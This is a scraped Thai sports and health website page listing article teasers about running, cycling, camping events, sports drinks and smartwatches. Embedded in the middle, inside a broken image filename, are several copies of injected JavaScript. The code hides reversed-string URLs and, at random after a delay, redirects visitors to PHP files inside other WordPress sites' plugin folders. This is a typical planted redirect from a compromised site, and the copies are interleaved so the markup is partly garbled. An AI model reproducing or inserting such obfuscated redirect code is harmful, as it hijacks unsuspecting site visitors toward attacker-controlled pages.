กลับมาอีกครั้งกับกิจกรรมท่องเที่ยวแนวใหม่แบบปลอดภัย เว้นระยะห่างแบบมีความสุข การท่องเที่ยวแห่งประเทศไทย ชวนชาวแคมป์ มากางเต้นท์ นอนรถบ้าน สไตล์แคมป์ปิ้งท่ามกลางหุบเขาเคล้าเสียงเพลงจากศิลปิน เขียนไขและวานิช , ชาติ สุชาติ ชิลไปกับบรรยากาศและสายลม เพลินๆกับกิจกรรมเอ้าท์ดอร์แบบชาวแคมป์ อาทิ-โยคะ-ทำเสื้อแคมป์ผ้ามัดย้อม-ยิงธนู พร้อมนั่งจิบ ชิม เมนูอาหาร และเลือกช้อปสินค้าท้องถิ่นจากชุมชน เตรียมตัวกันไว้ให้พร้อม 13...
จะวิ่งไตร หรือ วิ่งไหนๆ ก็สดชื่นคืนฟอร์มได้ด้วยสปอนเซอร์ ที่อุดมด้วยซูโคสและกลูโคส ช่วยคืนความสดชื่นและให้พลังงานแก่ร่างกาย พร้อมโซเดียมและโพแทสเซียมที่มีส่วนช่วยให้เลือดไหลเวียนดี ป้องกันการเกิดตะคริว ให้คุณเต็มที่ในทุกสนาม #Sponsor #สดชื่นคืนฟอร์มดื่มสปอนเซอร์
การ์ตูนเน็ทเวิร์คอเมโซนสนับสนุนกีฬาทางน้ำแนวใหม่ จัดการแข่งขัน Asia Flow Tour Thailand Qualifier 2018 เพื่อคัดเลือกตัวแทนของประเทศไทยไปแข่งขันระดับนานาชาติ
ในอดีตเราจะคุ้นชื่อ SONY Walkman ในเรื่องเครื่องเล่นเพลงแบบพกพา แต่ในปัจจุบันที่ตอนนี้สมาร์ทโฟนเข้ามามีบทบาทในชีวิตประจำวันมากขึ้น Sony ก็ได้ปรับเปลี่ยนสินค้า Walkman ให้แตกต่างจากเดิม
มี 3 ปัจจัยที่เรามักจะมองข้ามอยู่บ่อยๆ StepExtra จึงอยากให้เหล่านักวิ่งลองสังเกตดูใหม่อีกครั้ง และอาจจะเป็นสาเหตุให้ร่างกายเราไม่สามารถพัฒนาให้วิ่งได้เร็วขึ้นและไปได้ไกลมากขึ้น
สำหรับใครที่ต้องการควบคุมและปฎิบัติตามตารางฝึกอย่างต่อเนื่อง การปั่นจักรยานเเบบ indoor สามารถควบคุมระยะเวลา ความเร็วและ pace ของเราได้ดีกว่าการปั่นแบบ outdoor
การปั่นจักรยานไต่เขา เอาเข้าจริงๆ ก็เหมือนการวิ่งระยะทางมาราธอน จิตใจต้องเข้มเเข็ง อดทน การปั่นขึ้นเขามันไม่ได้ไปเร็วเหมือนทางเรียบ
อยากเร็วอยากฟอร์มสวย มาฝึก speed training กัน
"...ถ้าจะเจ็บจนแบบส่งผลกับการออกกำลังกายในอนาคต...ก็คุ้ม ถ้าการบาดเจ็บของผมครั้งนี้...จะช่วยให้คนระดับเรา ๆ ได้ร่วมกันบ้าง...ช่วยกันบ้าง สักคนละสิบบาท...ยี่สิบบาท...ถ้าเป็นล้านคนก็สิบล้าน...ยี่สิบล้าน...ผมว่าคุ้ม..." ตูน Bodyslam
วิ่งทางราบในเมืองมานาน อยากเปลี่ยนจากการวิ่งถนนลาดยาง มาสู่การวิ่งวิบากในป่า ต้องเตรียมตัวอย่างไร
Nike ประเทศไทย เมื่อวันนี้ มีการประกาศอย่างเป็นทางการเเล้วสามารถสั่งซื้อสินค้าผ่านทางเว็บไซต์ Nike.com และทำการจัดส่งสินค้ามาที่ประเทศไทยได้แล้ว
สิ่งที่กังวลใจต่อนักปั่น คือ ถ้าเราหยุดไปนานๆ เป็นเดือนอย่างนี้ จะรักษาความฟิตอย่างไร ต้องหยุดนานเเค่ไหน และจะมีวิธีไหนที่ช่วยรักาษาความฟิตให้คงเส้นคงวา หรือไม่ตกลงไปมาก
เราจะได้เจอผู้คนมากมายหลายเเบบขึ้น มีฝืมือการปั่นที่ดีกว่าเรา พบมือเก๋า มือโปร มีส่วนช่วยในการพัฒนาการปั่น การสะสมความรู้ เเหล่งเเลกเปลี่ยนอะไหล่ เป็นต้น ที่สำคัญทุกคนรักการปั่นจักรยานเหมือนๆ กัน
{if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script><script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</gear-s3-frontier-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script><script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>and-classic-350x250.png)
เมื่อ Samsung ก้าวเข้าสู่โลกเเห่ง Multi-Functional outdoor smart watch โดยมีสองหัวหอก SAMSUNG GEAR S3 FRONTIER และ GEAR S3 CLASSIC นำทัพ...Garmin, suunto ว่าไง
เพื่อให้การวิ่งของคุณสลายไขมันได้ดียิ่งขึ้น เราขอเสนอ 3 วิธีวิ่งสลายไขมัน ที่นิยมใช้กันมาเเนะนำ ได้เเก่.... 1. วิ่ง Long run ยิ่งวิ่งนาน ร่างกายก็ยิ่งใช้พลังงานเยอะขึ้น เเต่ไม่ได้หมายความว่าจดึงไขมันมาใช้อย่างเดียว เราแนะนำว่า เวลาวิ่งให้ใช้เวลาให้มากกว่า 90 นาทีขึ้นไป เพราะร่างกายจะเริ่มปรับตัว ดึงไขมันมาใช้เป็นพลังงาน ดังนั้นในการฝึกวิ่ง...
Run more, Spin More
เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา
